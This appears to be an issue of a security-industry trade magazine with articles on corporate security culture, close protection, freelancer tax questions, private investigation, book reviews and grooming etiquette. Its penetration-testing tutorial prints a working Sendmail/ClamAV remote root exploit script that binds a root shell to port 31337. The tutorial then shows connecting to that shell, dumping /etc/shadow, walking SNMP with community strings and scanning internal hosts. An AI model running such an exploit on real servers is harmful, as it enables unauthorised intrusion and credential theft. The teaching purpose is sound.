ecent events in Mumbai and Lahore have defined new levels of both ability and capability that the terrorist threat poses to businesses operating worldwide. World recession has also had a major impact on global security. Local, regional and international crime has increased as the impact of rising unemployment levels affects societies on a global scale. Organizations now face a growing demand from shareholders, regulators, credit agencies and customers for transparency and evidence of strong security and risk management and a savvy CPO will understand the how to display to the client that security at all levels is seen as a business enabler enhancing the project life cycle. Every organization has a security culture, and each is as unique as the organization itself. Security culture can be collaborative or argumentative, structured or unstructured. Security can be an integral part of a process beginning at the projectdefinition stage, or a separate process added on to an existing project. It can be ingrained (a routine water cooler topic), or reactive (a water cooler topic only when something goes wrong). When security isn’t made a priority at the executive level, it is less likely to be successful. If an organization’s leadership does not set the right tone, security posture will struggle. Further, when processing a security fault, responsibility will be too frequently off-loaded to the “security team.” Building a security-conscious culture from the top down is essential in today’s climate. Align Security with Business Strategy The first and most important strategy is to align security with business strategy. The goal is that security is seen as a business enabler instead of a hindrance to productivity. Communicate the three fundamentals of disruption, loss, and reputation by showing how each ties directly into profitability, productivity, and brand reputation. The risk relationship formula of “Risk = Value x Threat x Vulnerability” shows that a risk to the business through disruption
or loss is directly related to the value of information and the level of threat and vulnerability that you, your business, or your stakeholders face each day. The higher the value, the bigger the target, the greater the damage and overall risk to the company. Risk Transference Business executives are expected to take risks although sometimes these choices are disquieting. By raising the awareness of the risk to the business level, you raise the priority of security. If a business cannot reduce the risk of some things happening, it has to think how it will respond if they do happen. Often the level of awareness and training within an organization will not match the requirements for the solution to be produced; usually organizations prefer to outsource this service to specialist risk management consultancies. This practice of risk transference shows transparency to all stakeholders in that a vulnerability has been identified which, in order to mitigate against, requires specialist advice to resolve or determine a course of actions to reduce risk. Talk about Security in Business Terms Money talks. We use statistical and financial models to demonstrate that spending money on prevention allows us to save money year over year, and in some cases, within the first year. This brings money into the equation, and every executive understands cost, efficiency, and business cases. Security Process for Leadership Teams. Adding security process into leadership team’s behaviours can also help the culture effort. Most organizations will have statutory policies defining I.T. security and privacy screens, travel security briefings for executives operating in difficult environments or emerging markets etc. By working with both the executives and their support teams, not only are more individuals protected, but they are made aware of the risks through multiple sources: the executive team, the administrative team, and their peers, providing the flexibility to adapt to the current security climate and influence industry levels of corporate and social responsibility. Declan Meighan is the Managing Director or Maxwell Lucas Consulting Ltd www.maxwelllucas.com
Circuit : : 23
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hese were the words of my client to me on my first day on the job, on her farm on the outskirts of Johannesburg, South Africa. She had taken up my services as a bodyguard on the advice of the deputy commander of the South African Urban Commando Unit, a man who trained me and under whom I worked. She needed my protection because a court case involving the suspected murderer of her husband was about to take place. Her private investigator, an ex-South African Special Branch apartheid-era police officer, had solid intelligence that the culprit and his gang were planning to take out the only two witnesses to the killing – my principal and her son. It was now my job to protect them.
Adding to this was another court case running concurrently regarding ownership of the farm. The previous farm manager and an ex-wife of my principal’s late husband both wanted a piece of the estimated 23-million Rand estate. Speculation was rife that both of them were willing to do anything to get their hands on a slice of that cash. This was Threat Level Maximum. Attack Imminent. For the record, I was able to ensure that no harm befell my clients. Perhaps in a future piece I will be able to divulge the specific details of this intriguing tasking. Fast forward a couple of years and I am now in London protecting high profile celebrity clients from a different kind of shooter. The Paparazzi. The two operating environments couldn’t be more different – in fact they are worlds apart. In South Africa I was equipped with a 9mm Heckler and Koch USP Compact and Level III Body Armour. In London I am unarmed and soft skinned. However in both countries my job description is the same. Protect my client from harm -- from all forms of injury whether it be physical or mental. So what is the key to being able to successfully carry out my objectives, however different they may be? The answer is -- adaptability. Adaptability is everything. Not only to the different kinds of dangers my clients may face but being able to adapt to an ever-changing close protection market. An amalgamation of adaptability and sophistication is required. These two words, side by side, are the golden keys to success as an operator in the field of close protection. Sophisticated adaptability is now demanded of you from the client and more importantly by the modern-day threats to which our principals are exposed. Gone are the days of the BG standing in the background in dark glasses and a suit – this no longer cuts it, not that it ever really did. Un-
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Circuit :: HardTalk
“This is the car in which they shot my husband through the head” “This is where I found him, dead. Now they are after me and my son, now they want us dead” SOPHISTICATED ADAPTABILITY By Casey Christie
Casey Christie is a protection specialist and author, owner of Concept Tactical Worldwide – currently contracted to Nice and Secure on a consultancy basis overseeing all of the companies close protection contracts and ensuring Nice and Secures continued business development within the global security industry.”
less of course it is part of a multi-layered protective shield being employed, if indeed you know what I mean. Sophistication shall be found in the details. Recently, while I was running the security detail for the Dutch Royal Family, as one of their 50-member family held a wedding reception, attention to detail was my fundamental necessity. I had operatives whose specific duty was to ensure that no guests came too close to the poisonous plant section of the botanical gardens. Members of my team were placed as lifeguards at the water’s edge of the two fish ponds within the beautiful gardens. I had an operative man the entrance to the bee enclosure – wouldn’t want anyone getting stung. This total security is now expected from any reputable and indeed successful security company. But it is not always provided -- and it is noteworthy that a member of the Dutch Royal Family congratulated my team for “the most discreet and efficient security we have ever experienced”. This complete security methodology is at the core of Nice and Secure’s success, this is what sets Nice and Secure apart from the other “less providential” security companies. Coupled with an unparalleled understanding of client brand protection and the subtle nuances involved in making secure some of the world’s most famous personalities, this painstaking attention to detail makes Nice and Secure the undisputed masters of celebrity and socialite security. In the last three months, through Nice and Secure I have personally provided over-watch to Lily Allen, Rowan Atkinson, Hugh Laurie and Bryan Adams. What were the qualifications needed in order to be afforded the opportunity to provide close protection to these world renowned personalities, you may ask... *The confidence to be friendly while still being strong and protective. *Discretion, intelligence and sophisticated adaptability -- the highest understanding of what modern day clients expect from their bodyguard. This understanding is what makes clients employ the services of Nice and Secure again and again. On that note, if there is any “advice” I feel compelled to dispense it would be simply: to smile! As a Close Protection Officer one of the greatest signals of strength and security that you can convey to your client is by smiling at them. The truth is that the tougher you may try to appear, the weaker you look. Smile.
Circuit :: Finance
Ask Anna..
Send your finance questions to Anna Cooperwhite an accountant specializing in delivering accountancy services to people working within the security industry whittakerandcoy@hotmail.com enormously.
your resident Accountant Q: Anna, I am a really busy guy and just wonder will you do all of my accounting? Even inputting my receipts? I just do not have the time do this and need someone who does. A: Of course, what we ask the guys/gals to do is send a jiffy bag, of all the receipts and invoices on a monthly basis so we can sort them out and input them onto our system. Q: In terms of clothing, what can I claim? I currently work PSD in Iraq. A: If you have a contract in Iraq then a P85 should be inplace and as long as you adhere to the non residency rules and you have a 12 month contract and complete a full tax year then the money you earn is free from taxation. Its only when your self employed in the uk that we offset the money you have spent to-do your work against the income you have earned. Q: I am thinking of becoming VAT registered even though at the minute I earn just below the threshold. What benefits are there financially and can I claim VAT retrospectively? This would benefit me from a business perception point of view
A: The key thing when you want to be VAT registered that yes you can claim the VAT you have been charged on expenses but you must also then add VAT to invoices your sending to your clients, sometimes this can then make your rates not that attractive Q: I live and work in the UK would it be a beneficial thing to involve my spouse in the business as a secretary? She has a full time job earning £35k a year at the moment. A: If she was not earning then yes would be beneficial, but because she is earning then she would have to declare this income which would increase the tax she already pays and takes her (well she is already) into the higher tax bracket as any income over £37,400 is taxed at 40%, by all means get in touch though and tell me more about the business and your spouse’s involvement in your business and can see if there are any other options available. Q: Would like to buy a new car and own it through the business. What are the pros and cons of this? A: Ok so, as a sole trader, you will be able to claim as a Capital Allowance but only the WDA (Written Down Allowance) which is 20% for the 2008/09 tax year and also for the 2009/10 tax year, but the maximum you can claim on is £12,000 so bare this in mind when buying a car, however if you buy an ECO friendly car then you can claim the 20% on the amount you purchase your GREEN car for. You can then claim costs for the car, i.e. petrol etc. on an income expenditure computation, however if you claim
the mileage allowance, this replaces any other claims for the car. Q: What are your prices based on? Is it purely a time based thing or is there a rule of thumb? A: We do not charge to give basic advice a quick conversation online or respond to an email. For Non Residents, Self Employed in the UK individuals we charge a flat rate fee of £195.00 per annum, for Limited business and due to the strict rules and regulations in place by companies house are fees are charged inline with the type and size of business. Happy to discuss and quote for Ltd businesses Q: Do you give advice on pensions? A: Over the years we have built up a number of relationships with Financial bodies, so yes can point you in the right direction. Q: I recently left the army [June 09] and am now self-employed as a security consultant. Will my earnings in the army count towards my 1st year tax return as a civilian? A: I take it you have registered self employed? If so in your return you will see a section that you enter employment information, so your P45 you were given by the army the income and tax figures and the PAYE ref will go into the relevant boxes, you will then have an income and expenditure computation done for June to April 2010. Am more than happy to help do all this for you though and talk about what you can claim and what you can’t being self employed
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Circuit :: TechTalk
SO, YOU WANT TO BE A
PENETRATION TESTER... pt2
:: Infrastructure Testing
The second in a series of 6 articles that will give you an introduction to corporate penetration testing
Whatis.com Definition: Penetration testing “Penetration testing is the security-oriented probing of a computer system or network to seek out vulnerabilities that an attacker could exploit.”
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elcome to the second article in our introduction to penetration testing. In this article we will cover basic infrastructure testing and expand on the scanning and probing techniques introduced in the first article. Let’s pick up the action where we left off, we had discovered a number of the perimeter services on the network, including a sendmail SMTP server, used for sending email in and out of the network. It is very common in modern networks to have a proxy server inside a so-called demilitarized zone (DMZ) that relays email into and out of the network with various spam and virus checkers filtering the traffic. A very common program to be used for the virus filtering is clam av… As with the majority of software that has been released over time a number of bugs have existed that allow us to manipulate the program in a way that was not originally intended, for instance it’s possible by sending a very carefully crafted email through the right Sendmail/ClamAV combination to cause what is termed a remote exploit, which will allow us to run some commands on the server as the user that runs the sendmail program, in most servers default installations this is the root user (the super user on a UNIX/Linux system). Here is the script that I’ve written that we will use to exploit the remote server (Warning: don’t try to recreate these steps unless you really know what you are doing!): use IO::Socket; print “Sendmail w/ clamav-milter Remote Root Exploit\n”; print “Copyright (C) 2007 Eliteboy\n”; if ($#ARGV != 0) {print “Give me a host to connect.\n”;exit;} print “Attacking $ARGV[0]...\n”; $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => ‘25’, Proto print $sock “ehlo you\r\n”;
26 : : Circuit
by KEITH LOOSE
=> ‘tcp’);
print $sock “mail from: <>\r\n”; print $sock “rcpt to: <nobody+\”|echo ‘31337 stream tcp nowait root /bin/sh -i’ >> /etc/ inetd.conf\”@localhost>\r\n”; print $sock “rcpt to: <nobody+\”|/etc/init.d/ inetd restart\”@localhost>\r\n”; print $sock “data\r\n.\r\nquit\r\n”; while (<$sock>) { print; } The section in bold is where the magic happens (the rest of the script basically sets up a connection to the server allowing us to run some commands that the SMTP server will recognise and act upon) Each of these commands will ‘print’ into $sock (the connection we previously created) the commands in the quote marks. print $sock “ehlo smtp.badguy.com\r\n”; First up, we’ll send the ehlo command – this is tells sendmail that we are another SMTP server (called smtp.badguy.com) – the symbols after the server name end the command. print $sock “mail from: <>\r\n”; Next we send a command that indicates who the mail is from – obviously we dont send our own email address so we use <> print $sock “rcpt to: <nobody+\”|echo ‘31337 stream tcp nowait root /bin/sh -i’ >> /etc/inetd.conf\”@localhost>\ \n”; Now something interesting, we’ll break it down a little further: rcpt to: <nobody+ – is the start of a legal command \”| – when the AV filter see this in the to address, a bug in the software stops processing the the address and will overwrite the current memory section (see buffer overflows in article 1) with the commands in between the first \” and the second \” echo ‘31337 stream tcp nowait root /bin/sh -i’
Circuit :: TechTalk >> /etc/inetd.conf – is a set of commands that will attach a shell to the network port 31337 (see leet sidebar) print $sock “rcpt to: <nobody+\”|/etc/init.d/ inetd restart\”@localhost>\r\n”; - we then run a second rcpt to command as after we have created the shell, we need to restart the inet.d component so that the port becomes active. @ localhost completes the email address – we are using localhost to so that the email doesn’t actually end in at companies internal email server print $sock “data\r\n.\r\nquit\r\n”; - this last section just finalises out SMTP so that the messages starts to work its way through the email system in the AV filter when the exploit can happen Let’s confirm that our exploit has worked by using nmap again, this time we only need to check for the existence of our newly created port nmap –P0 –p 31337 10.0.0.5 What do you know, the port is now showing open… now for something really cool… nc.exe –p 31337 10.0.0.5 [root@smtprelay ~]#
Ok, so now we have total super user control over the remote machine – will use a couple of quick UNIX commands to confirm this: [root@smtprelay ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemo n),3(sys),4(adm),6(disk),10(wheel) [root@smtprelay ~]# hostname smtprelay.haceme.com [root@smtprelay ~]#
First up let’s create an account in case our reverse shell goes – this will also serve as proof that we have managed to exploit the system if we cannot get any further or get disconnected. Its worth noting at this point that we are running through a set of realistic but factious steps in this article (you’ll need to wait till episode 6 to get a full transcript of a real life pentest) we would never expose a direct shell unprotected on the internet of a customers system – I am highlighting the easiest way that we can exploit a remote system. Check point, we’ve got remote access (as root) and created our own user account so it’s about time to dig a little deeper into the network. [root@smtprelay ~]# ifconfig eth0 Link encap:Ethernet HWaddr 6E:41:34:C0:D0:38 inet addr:192.168.5.20 Bcast:192.168.5.255 Mask:255.255.255.0 inet6 addr: fe80::6c41:34ff:fec0:d038/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:6793 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 b) TX bytes:291124 (284.3 KiB) Interrupt:177 Base address:0x8000 eth1 Link encap:Ethernet HWaddr 92:8E:DD:66:6A:60 inet addr:10.0.0.5 Bcast:10.0.0.255 Mask:255.255.255.0 inet6 addr: fe80::908e:ddff:fe66:6a60/64 Scope:Link
UP BROADCAST RUNNING MULTICAST
MTU:1500
Met-
ric:1 RX packets:168829107 errors:0 dropped:626703 overruns:0 frame:0 TX packets:31034339 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:2175382428 (2.0 GiB) TX bytes:1354716267 (1.2 GiB) Interrupt:209 Base address:0x8400 eth2 Link encap:Ethernet HWaddr 42:13:AF:FB:11:CD inet addr:192.168.3.18 Bcast:192.168.3.255 Mask:255.255.255.0 inet6 addr: fe80::4013:afff:fefb:11cd/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:150487742 errors:0 dropped:1081333 overruns:0 frame:0 TX packets:902 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:2863924704 (2.6 GiB) TX bytes:47384 (46.2 KiB) Interrupt:193 Base address:0x2200
We can see that the host has multiple network interfaces, this is pretty common of a DMZ host – lets take a look at some common places within linux to see what we can find. [root@smtprelay ~]# cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin syssupport:x:501:501:syssupport:/home/syssupport:/bin/ bash djones:x:502:502:djones:/home/djones:/bin/bash
This is a list of all the users available on the system – root is the super user, but there are a couple of other interesting accounts – syssupport and djones stand out initially. Syssupport as it may be a default account on other systems within the network – if we crack the password to that we can probably just log straight into other devices! Djones sounds a lot like a persons username, as its on this box in the DMZ Mr.Jones is probably one of the system administrators. [root@smtprelay ~]# cat /etc/shadow root:$1$y9vAr1Fx$HO2134fByAvgiQebkpPa Dz0:14442:0:99999:7::: bin:*:13910:0:99999:7::: daemon:*:13910:0:99999:7::: adm:*:13910:0:99999:7::: lp:*:13910:0:99999:7::: sync:*:13910:0:99999:7::: shutdown:*:13910:0:99999:7::: halt:*:13910:0:99999:7::: mail:*:13910:0:99999:7::: news:*:13910:0:99999:7::: uucp:*:13910:0:99999:7::: syssupport:£1f1f1!wdfsdf35gfqf66:13910:0:99999:7::: djones:fdsd8f7sd87f98s7dfsfzzdfsfs fd$32155:13910:0:99999:7:::
The shadow file… the combination of passwd & shadow is really important. It means we can take the files offline use the shadow file to crack the system passwords! There are a multitude of ways to do this, my favourite being a program called John the ripper – I’ll feed it the two files and set it off running, it may take sometime depending on the complexity of the passwords.
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Circuit :: TechTalk [root@smtprelay ~]# grep ro /etc/snmp/snmpd.conf com2sec local localhost neto-ro com2sec corenetwork 192.168.5.0/24 haceme-ro com2sec opsnetwork 192.168.3.0/24 haceme-ro ## group.name sec.model sec.name group MyRWGroup any local group MyROGroup any corenetwork group OPSRWGroup any opsnetwork #group MyRWGroup any otherv3user access MyROGroup “” any noauth 0 all none none access MyRWGroup “” any noauth 0 all all all # Third, create a view for us to let the group have rights to: # Open up the whole tree for ro, make the RFC 1213 required ones rw.
Now this is really interesting… SNMP is a protocol that network administrators use to monitor and manage systems; it’s been around for donkeys’ years and is present in most networks. Early versions of the protocol had pretty much no security at all – version 3 being pretty good… although it doesn’t really matter if our target network has all the SNMP security in the world as we have a full configuration of one of the clients, where we can gleam the most useful piece of information – the SNMP community names. SNMP can be used to manage all sorts of devices, servers (like the one we are on), routers and switches being the most common. As our goal is to penetrate as far as possible into the network lets concentrate on the default router of the DMZ… this is probably the boundary of the internal network and it is common to find little or no security once past that point (at which point the field day starts!) We can use a tool called SNMPWalk to interrogate the router: [root@smtprelay ~]# snmpwalk -v 2c -c hacme-ro 192.168.5.254 ifDescr IF-MIB::ifDescr.1 = STRING: lo IF-MIB::ifDescr.2 = STRING: fa0 IF-MIB::ifDescr.3 = STRING: fa1 IF-MIB::ifDescr.4 = STRING: fa2 IF-MIB::ifDescr.5 = STRING: fa3 IF-MIB::ifDescr.6 = STRING: fa4
Nice, we can see that the router has a total of 5 interfaces, only 3 of which are connected with IP addresses. We can add all this information to our network map – which is now starting to become a complete picture of our target. We now need to start to discover more servers and hosts inside the network to target: [root@smtprelay ~]# cat /etc/hosts # Do not remove the following line, or various programs # that require network functionality will fail. 127.0.0.1 localhost.localdomain localhost ::1 localhost6.localdomain6 localhost6 192.168.5.15 exchange.hacme.com 192.168.5.20 hr-1.hacme.com 192.168.5.21 hr-2.hacme.com 192.168.5.30 intranet.hacme.com 192.168.3.254 int-gw.hacme.com
While making their jobs easier my maintaining an IP->Hostname mapping of their internal hosts they have made our job massively simpler. This information really should not be on a host in the DMZ – it’s called that for a reason!!!! So, we’ll jump into our toolbox for two old friends used in the first article, Nmap and NetCat, so we can start to query some of the interesting sounding hosts. [root@smtprelay ~]# nmap exchange.hacme.com Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2009-09-13 14:21 BST Interesting ports on exchange.hacme.com: Not shown: 1662 closed ports PORT STATE SERVICE 25/tcp open smtp
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80/tcp open http 110/tcp open pop3 135/tcp open msrpc 139/tcp open netbios-ssn 143/tcp open imap 443/tcp open https 445/tcp open microsoft-ds 587/tcp open submission 593/tcp open http-rpc-epmap 993/tcp open imaps 995/tcp open pop3s 1155/tcp open nfa 1212/tcp open lupa 3389/tcp open ms-term-serv 6001/tcp open X11:1 6002/tcp open X11:2 6004/tcp open X11:4 [root@smtprelay ~]# nc -p 25 exchange.hacme.com 220 exch-1.ops.netance Microsoft ESMTP MAIL Service ready at 13 Sep 2009 15:06:35 +0100
As this host is a email relay for the internal servers it makes sense that the firewall between us and the internal network will allow access… we can see from the NetCat output that it’s a Microsoft Exchange Server – very commonly used. [root@smtprelay ~]# nmap hr-1.hacme.com Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2009-09-13 14:37 BST Interesting ports on hr-1.hacme.com: Not shown: 1662 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 1521/tcp open oracle
This is a little surprising, the server name hr-1 indicates that the server might be the companies HR system – port 1521 is the standard port that Oracle Database runs on – these are very commonly used for (amongst many other things) HR and payroll systems. We really should not be able to access this host and see the port from the DMZ, but more commonly than not too much concentration is put on securing access from the ‘red side’ of the DMZ – where it directly connects to the internet, but as we have shown it only takes a single available exploit in one of the publicly facing servers to circumvent perimeter security. [root@smtprelay ~]# nmap intranet.hacme.com Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2009-09-13 14:39 BST Interesting ports on intranet.hacme.com: Not shown: 1662 closed ports PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 593/tcp open http-rpc-epmap 3389/tcp open ms-term-serv
And finally it looks like we have discovered an internal web server – commonly used for company intranet sites, directories, wikis that hold company documents – a variety of things with a variety of uses. We’ve managed to accomplish a lot in this article – we have penetrated deep into the target network and have identified a number of applications that we can start to hack to further our goal of totally compromising the company (note, not just the network the company). We have the usernames & passwords of a couple of accounts in the system that I’m sure will come in handy and while we have briefly touched on penetrating an application at the beginning of this article we shall go into more detail next time round and see what we can extract from our target!
Circuit :: ShopTalk
The
PRIVATE INVESTIGATOR
PI, Private Detective/Investigator, Private Eye as plainly put in the dictionary: a freelance detective (not a police officer) carrying out investigations for private clients.
P
rivate Investigators/Detectives hereinafter for ease referred to, as private investigators are normally individuals who are self employed and run their own agency. The majority of agencies are “one man bands” or small family concerns. Most but not all have completed a first career for example with the Police Force or Armed Services and upon retiring put their past skills and training to good use in a second career. There are investigators within the profession from all walks of life. I know 2 successful investigators one of whom was an actress and another a director of a large cleaning company both are successful investigators. Once upon a time it was a strictly male preserve but there are now many female investigators running their own agencies. There are larger established companies out there also and it is possible to become an employee as opposed to being self-employed. Self-Employed private investigators often network and pass work between themselves and other investigators on an agent-toagent basis (sub contracting) throughout the country and even abroad on occasions. There are several networking forums on the Internet and these are listed below. Many individuals/companies operating within the Private Security Industry cross train their staff. Therefore the modern agency would have individual/s who are qualified and licensed Close Protection Officers and competent Private Investigators.
The Work Load The workload can be split into four main areas, Legal profession, Commerce & Industry, Finance & Insurance and the General public. Private investigators cover a diverse and challenging amount of work some individual’s/agencies specialise in area such as Skip Tracing or Process Serving. To give you an idea of the enquiries/tasks an investigator can work on I have listed some below under individual areas.
Legal Profession Process Serving, The service of Court documents legal papers on individuals and companies.
by GLEN LAWSON
Skip Tracing, Locating debtors and absconders clients who have moved and potential witnesses. Statement taking, obtaining statements from witnesses or injured parties. Criminal Defence. Investigate and substantiate an alibi, make general enquiries, gather information and prepare reports. Commerce & Industry Surveillance, Observe and follow employees in connection with false accident or injury claims or to detect theft or fraud. Installation of Covert CCTV, to detect theft, fraud or bad practice. Test Purchasing, at retail outlets and businesses to ensure staff comply with company policies and to prevent or detect internal theft and fraud. Undercover Ops, placing an agent in the work environment to collect and collate information for use by the company.
Finance & Insurance Surveillance, observe and follow individuals who have accident or injury claims. Process Serving, Serving documents relating to The Insolvency Act 1986. Locus Enquiries, Preparing plans, taking photographs off and compiling reports on locations for road traffic accident investigations, trip sites and work place accidents. Repossessions, Acting as an agent and repossessing vehicles or property.
General Public Surveillance, observing partners in matrimonial cases. Tracing, locating missing persons, birth parents or siblings in adoption cases. Peace of Mind, Observing the activities of family members whom the family believe may be at risk. Installation of Covert CCTV, Collecting evidence relating to Anti Social Behaviour.
Who can become a private investigator? In the current climate anyone can set up in business without any previous knowledge or work experience although those considering a career as a private investigator need to have good sound judgement, be able to exercise common sense and be able to evaluate any given situation. The private investigator needs to be a good communicator and able to work as an individual and on occasions as part of a team. There are several ways to “get up and running” and set yourself up as a private investigator but I believe that good training and the ongoing acquisition of knowledge is essential to enable you to succeed. You could today set up a shingle, take out an advert, mail shot some prospective clients, open a phone line and wait for the first call. It all can be run from a mobile phone and
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Circuit :: ShopTalk you would the most basic items. Or you could sit back and do some research and find out what is the best way ahead for you. Some are listed below and the details were obtained by surfing the Internet the actual details of the providers of the training have been omitted and the costs rounded up.
Regulation & Licensing
Distance Learning Courses are available and cost £250.00 - £500.00 per package.
The Consumer Credit Act 1984
Training Courses are available either residential or non-residential running from a 2 day Introduction to a 5 day residential course costing on average £250.00 £1,500.00. Franchise Opportunities are available costs vary but on average initial fees are £9,750.00 - £15,000.00 +VAT then royalties/management fees are in place at a percentage of earning or at a set rate for example £450.00 PCM for a period of 5 years. Proof of Competency and further evaluation can be obtained by completing NVQ’s in Investigation.
“
Private investigators are to be licensed by the Security Industry Authority
”
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Currently there is no regulation of the industry as such there are trade associations who currently have codes of conduct that members adhere to and various acts of parliament that affect the way an investigator practices. Such as: The Data Protection Act 1998 The Human Rights Act 1998 Regulation of Investigatory Powers Act 2000 As seen within the area and expertise of Close Protection, Private investigators are to be licensed by the Security Industry Authority as set out in the Private Security Industry Act 2001. As part of that act the Security Industry Authority is proceeding with the option of licensing individual private investigators (and precognition agents) see note1. With competency criteria, which will include specified training. The potential enforcement date for regulation is 2011/12. The cost of an individual licence will be £245.00. The individual applicant will have to bear the costs of competency checks and any specified training. It is estimated that there are up to 10,000 individuals who potentially fit the criteria for licensing within the UK. 1) Precognition agents interview witnesses
for the purposes of, or in anticipation of, criminal or civil proceeding in Scotland. Proposals for the licensing of precognition agents are being considered in parallel with the development of licensing of private investigation activities. This is because of a similarity in the activities undertaken by both groups. Sites/Publications/Forums: The Association of British Investigators. www.theabi.org.uk Useful publications available from the ABI An Introduction to Private Investigation The Process Servers Guide,. Data Protection A Best Practice Guide for Professional Investigators United Kingdom Professional Investigators Network www.ukpin.com World Association of Professional Investigators www.wapi.com British Franchise Association www.thebfa.org Glen Lawson left the Armed Forces in 1996 and took a franchise in Private Investigation in 1997. He currently trades as Abbey Investigations & Associates in Newcastle upon Tyne www.abbeypi.co.uk Member of the Association of British Investigators.
Circuit :: BooKlub Here at The Circuit, we know that despite your image, you guys like nothing more than curling up with a good book..... This months reviews:
proves too much for some as they succumb to the conditions on the way. Forell’s escape is one of daring, extreme hardship and of course a good slice of luck but no one reading this book would begrudge Forell any of it! Over the years there have been many aweinspiring stories of escape from behind enemy lines but in my opinion none greater than that of Clemence Forell. At the start of the book the author makes you aware how thoroughly he questioned Forell as in some cases he quite simply did not believe what he was being told. However, after seeking expert advice Forells assertions were proven to be factual. To maintain anonymity Bauer ‘gave’ Forell his name, as the man was understandably affected by his journey and aware of the still mighty reach of the USSR [at that time]. Bauer also states that in order to make the storey more readable he gave flesh to the bones in some areas, especially where characters were described. You do not have to have an interest in warfare to enjoy this storey; in fact it is almost irrelevant as this is quite simply an intriguing storey from beginning to end. The only criticism that I have of the book is that I would like to know what became of Forell after his 8000-mile journey across the trackless wastes of Siberia. The mental battle endured by Forell is as inspiring as the physical one; if you like adventure stories then this book is well worth reading, just don’t expect it to last long as you will not be able to put it down.
As Far As My Feet Would Carry Me: Joesf M Bauer
It would not be difficult to summarise this book in a sentence using various adjectives; fantastic, amazing, inspirational, unbelievable and inspiring to name just a few but I am sure that you guys would like just a little bit more information than that! The storey is about a German WWII officer sentenced to 25 years hard labour in a Soviet lead mine situated in the far east of Russia on the East Cape. The man, Clemens Forell, soon realises that due to the conditions in the mine few if any of the prisoners will see out their sentences not only because of the harsh conditions but also due to the effects of lead poisoning from which they will all suffer. The author tells the tale of Forell from his journey to the camp and then talks of the conditions within and the routine which they have to endure. Even the journey to the camp is extreme and
The Operators: James Rennie
14 Intelligence Company is not one of those units that has often been in the limelight
of the UK public or the press. Many will argue that the unit is as effective as the SAS yet more discrete and that the Operators of 14 Company are one of the UK’s most effective weapons against international terrorism. This book is the story of just one of the Operators of the’det’, James Rennie. The reader’s attention is immediately gripped with a section from a real operation that the author took part in. At first the voice procedure or ‘radio speak’ that the operators use will seem strange and unfamiliar even to those that are familiar with the UK’s green army voice procedure. For me, this only added to the intrigue and made me want to read more about this strange and relatively unknown military unit. Once this initial passage is over with Rennie sets the scene and describes his motivation for wanting more as he struggles with life before the ‘det’ completing mundane duties with his infantry unit in Germany. In fact Rennie almost stumbles on the existence of this unit such is the secrecy that surrounded it [at the time]. Even now, many years after the conflict in Northern Ireland is ‘over’ the ‘det’ or Specialist Reconnaissance Regiment [SRR] as it is now known remains somewhat of a ‘secret service’. Although more widely known about not much is actually known about it and this seems to suit this particular unit and its own raison d’être. Rennie describes the training undertaken by his fellow students, which in the beginning is a bizarre mishmash of physical, psychological, and intelligence based scenarios where the course is constantly kept short on sleep. Students either leave of their own free will or fail certain aspects of the course so the numbers reduce throughout the training period. There are definite hurdles at certain points of the course where the training is more practical/ trade based and you are given an idea of the sort of work that operators of 14 Int were carrying out at the time in Northern Ireland. Although the training makes up a substantial part of the book it is interesting and although Rennie does go in to quite some detail it does not go in to so much as not to offend the ‘establishment’. The operational part of the book continues to be an exciting and thoroughly well written account of life as an operator and demonstrates the thoroughness to which these ‘special soldiers’ go to prior to deploying on the ground. Equally well covered is the intelligence that these guys [and girls] have and the restrain which they use when many others, less well trained and selected, would have pulled the trigger. The Operators is an excellent read and comes highly recommended.
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Circuit :: ShopTalk
Common-sense Etiquette & Protocol for Security Personnel by SUSANNE DANCER
I
t is your first meeting and you are introduced to an important client. During the introduction you notice his eyes dart up and down giving you the “once over” then notice a frown beginning to form on his face. What is going on? Then you think back to all the interviews you have had in the last few months and the fact the despite all your knowledge and experience you are not getting the jobs you want. What happened? Remember impressions count and that goes doubly so for the sophisticated world of executive & celebrity protection. Remember at the end of the day it is a business. Think of it like this, if you are from a military or police background you had uniforms and grooming protocols which if you did not adhere to strictly could result in odd looks at the best and disciplinary action at worst. The same principals apply here, however this demerit could be in the form of a lost client! The first thing you really have to think about is personal grooming and how if affects your job prospects. Here are some basic tips: Clean and well styled hair including facial hair Manicured nails (guys this does mean you as well). Ladies, no bright nail polish keep it natural. • No strong fragrances, this means keeping your favourites in the cabinet for personal social occasions • Ladies appropriate make up. • Use deodorant and antiperspirant. • Always carry breath mints. • Abstain from foods that produce strong odours, like those heavy in garlic. • The odour of cigarettes one’s breath or clothing can be very unattractive. What to wear is your next concern. The number one rule for anyone in the service industry such as personal security is: Don’t be flamboyant. You are not there to compete with the client, so tone down the flashy ties and diamond pinkie rings. Rule #2 is to take cultural variations into consideration. What is acceptable in your home country may not be so in another. Some basics for correct attire: A well tailored suit and conservative tie is the main preference for most clients. Keep shirts light in colour e.g. white, cream or light blue. Ladies if wearing a pants suit make sure it is tailored and not tool tight. And if wear-
